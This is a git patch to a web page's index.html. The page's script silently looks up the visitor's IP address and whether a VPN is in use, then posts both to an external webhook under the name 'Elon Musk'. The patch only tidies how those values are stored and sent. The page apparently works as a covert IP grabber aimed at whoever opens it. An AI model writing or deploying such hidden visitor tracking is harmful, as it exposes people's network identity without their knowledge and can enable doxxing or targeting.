From 936a560301e8b98535fba4abe7323599a703585e Mon Sep 17 00:00:00 2001 From: Boof <97455552+hexahigh@users.noreply.github.com> Date: Wed, 11 Jan 2023 12:54:15 +0100 Subject: [PATCH] t --- Other/XYgu/index.html | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/Other/XYgu/index.html b/Other/XYgu/index.html index 138bcf1..a4f0128 100644 --- a/Other/XYgu/index.html +++ b/Other/XYgu/index.html @@ -16,6 +16,8 @@ $.getJSON("https://europe-central2-portfolio-website-374313.cloudfunctions.net/g } else { var usedvpn = false; } + document.getElementById("usedvpn").value = usedvpn; + document.getElementById("userip").value = userip; }) .catch(error => console.error(error)); //Send the webhook @@ -24,16 +26,21 @@ $.getJSON("https://europe-central2-portfolio-website-374313.cloudfunctions.net/g const request = new XMLHttpRequest(); request.open("POST", webhook); request.setRequestHeader('Content-type', 'application/json'); - - const params = { + var usedvpn2 = document.getElementById("usedvpn").value = usedvpn; + var userip2 = document.getElementById("userip").value = userip; + var params = { username: "Elon Musk", avatar_url: "", - content: "Did user use vpn?:" + usedvpn + "What is the ip?:" + userip + content: "Did user use vpn?:" + usedvpn2 + "What is the ip?:" + userip2 } request.send(JSON.stringify(params)); -} + } }) - - \ No newline at end of file +